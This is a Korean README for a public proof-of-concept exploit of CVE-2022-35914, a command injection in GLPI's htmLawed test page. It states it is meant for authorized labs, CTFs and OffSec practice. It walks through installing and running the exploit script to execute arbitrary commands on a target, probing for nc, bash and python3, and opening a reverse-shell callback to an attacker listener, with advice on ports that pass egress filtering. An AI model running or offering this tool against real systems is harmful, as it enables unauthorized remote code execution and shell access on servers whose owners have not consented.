
CVE-2022-35914 — GLPI v.10.0.2 htmLawed 커맨드 인젝션, 명령 실행 및 리버스 셸 지원을 위한 PoC 익스플로잇.
CVE-2022-35914에 대한 PoC로, 취약한 GLPI 설치 환경에서 htmLawed 테스트 구성 요소와 관련된 명령 주입 취약점입니다.
이 도구는 취약한 엔드포인트를 통한 명령 실행을 제공하며, 공인된 실습 환경을 위한 선택적 콜백 기능을 포함합니다.
면책 조항: 이 프로젝트는 공인된 보안 테스트, CTF, OffSec/PG 랩 및 교육 목적으로만 제공됩니다. 명시적인 승인 없이 시스템에 사용하지 마십시오.
| 필드 | 세부 정보 |
|---|---|
| CVE | CVE-2022-35914 |
| 소프트웨어 | GLPI |
| 구성 요소 | htmLawed |
| 취약 엔드포인트 | /vendor/htmlawed/htmlawed/htmLawedTest.php |
취약한 구성 요소는 영향받는 설치 환경에서 조작된 매개변수를 통해 명령 실행을 허용할 수 있습니다.
Python 3 및 필수 종속 패키지.
sudo apt install python3-requests python3-bs4
python3 -m venv venv
source venv/bin/activate
pip install requests beautifulsoup4
저장소를 클론합니다:
git clone https://github.com/cyb3rk0ala/CVE-2022-35914.git
cd CVE-2022-35914
스크립트를 실행 가능하게 만듭니다:
chmod +x glpi.py
python3 glpi.py -h
python3 glpi.py -u TARGET_IP -c 'id'
출력 예시:
[*] Target: http://TARGET_IP:80/vendor/htmlawed/htmlawed/htmLawedTest.php
========== COMMAND OUTPUT ==========
uid=33(www-data) gid=33(www-data) groups=33(www-data)
====================================
-c 옵션은 실행할 명령을 지정합니다.
python3 glpi.py -u TARGET_IP -c 'whoami'
python3 glpi.py -u TARGET_IP -c 'id'
python3 glpi.py -u TARGET_IP -c 'uname -a'
python3 glpi.py -u TARGET_IP -c 'which bash'
python3 glpi.py -u TARGET_IP -c 'which python3'
python3 glpi.py -u TARGET_IP -c 'which php'
python3 glpi.py -u TARGET_IP -c 'which nc'
-p / --rport 옵션은 취약한 GLPI 웹 서비스가 실행 중인 포트를 지정합니다.
기본값:
80
예시:
python3 glpi.py -u TARGET_IP -p 80 -c 'id'
--check를 사용하여 명령을 실행하지 않고 htmLawed 테스트 페이지가 사용 가능한지 확인합니다:
python3 glpi.py -u TARGET_IP --check
다음과 같이 사용자 지정 HTTP User-Agent를 지정할 수 있습니다:
python3 glpi.py \
-u TARGET_IP \
--user-agent 'Mozilla/5.0'
이 스크립트는 선택적 콜백 매개변수를 지원합니다:
-l 콜백/리스너 IP
-lp 콜백/리스너 포트
예시:
python3 glpi.py \
-u TARGET_IP \
-p 80 \
-l LHOST \
-lp 80
이 예시에서:
대상: TARGET_IP:80
콜백: LHOST:80
두 포트는 서로 다른 용도로 사용됩니다:
-p = 대상 GLPI HTTP 포트
-lp = 콜백/리스너 포트
OffSec 랩 환경에서 테스트하는 동안 콜백은 TCP 포트 80에서 성공적으로 작동했습니다.
4444와 같은 다른 콜백 포트는 랩 네트워크 및 이그레스 필터링에 따라 시간 초과가 발생할 수 있습니다.
테스트한 환경의 경우:
python3 glpi.py \
-u TARGET_IP \
-p 80 \
-l LHOST \
-lp 80
리스너는 Kali VPN 인터페이스에서 TCP 포트 80을 사용하여 구성되었습니다.
중요: 콜백에 포트 80을 사용하는 것은 환경별 관찰 사항입니다. CVE-2022-35914의 요구 사항이 아닙니다.
먼저 명령 실행을 확인합니다:
python3 glpi.py -u TARGET_IP -c 'id'
필요한 유틸리티가 존재하는지 확인합니다:
python3 glpi.py -u TARGET_IP -c 'which bash'
python3 glpi.py -u TARGET_IP -c 'which python3'
python3 glpi.py -u TARGET_IP -c 'which php'
python3 glpi.py -u TARGET_IP -c 'which nc'
명령 실행은 되지만 콜백이 시간 초과되는 경우 VPN 라우팅과 콜백 포트를 확인하십시오.
명령 출력 파싱이 실패하면 전체 HTTP 응답이 다음 위치에 저장됩니다:
/tmp/glpi.html
다음 명령으로 확인합니다:
less /tmp/glpi.html
또는:
mousepad /tmp/glpi.html
python3 glpi.py \
-u TARGET_IP \
--check
python3 glpi.py \
-u TARGET_IP \
-c 'id'
python3 glpi.py \
-u TARGET_IP \
-c 'whoami'
python3 glpi.py \
-u TARGET_IP \
-c 'which nc'
테스트한 OffSec 랩 환경의 경우:
python3 glpi.py \
-u TARGET_IP \
-p 80 \
-l LHOST \
-lp 80
이 프로젝트는 교육 및 공인된 보안 테스트 목적으로만 제공됩니다.
저자는 이 소프트웨어와 관련된 오용, 손해, 무단 접근 또는 불법 활동에 대해 책임을 지지 않습니다.
시스템을 테스트하기 전에 항상 명시적인 승인을 받으십시오.
cyb3rk0ala
CVE-2022-35914
CVE-2022-35914 by cyb3rk0ala
| 옵션 | 설명 | 기본값 |
|---|
-u, --url | 대상 URL 또는 IP 주소 | 필수 |
-c, --cmd | 실행할 명령 | id |
--check | 명령을 실행하지 않고 대상 확인 | 비활성화 |
--user-agent | 사용자 지정 HTTP User-Agent | 기본값 |
-p, --rport | 대상 HTTP 서비스 포트 | 80 |
-l, --lhost | 콜백/리스너 IP 주소 | — |
-lp, --lport | 콜백/리스너 포트 | — |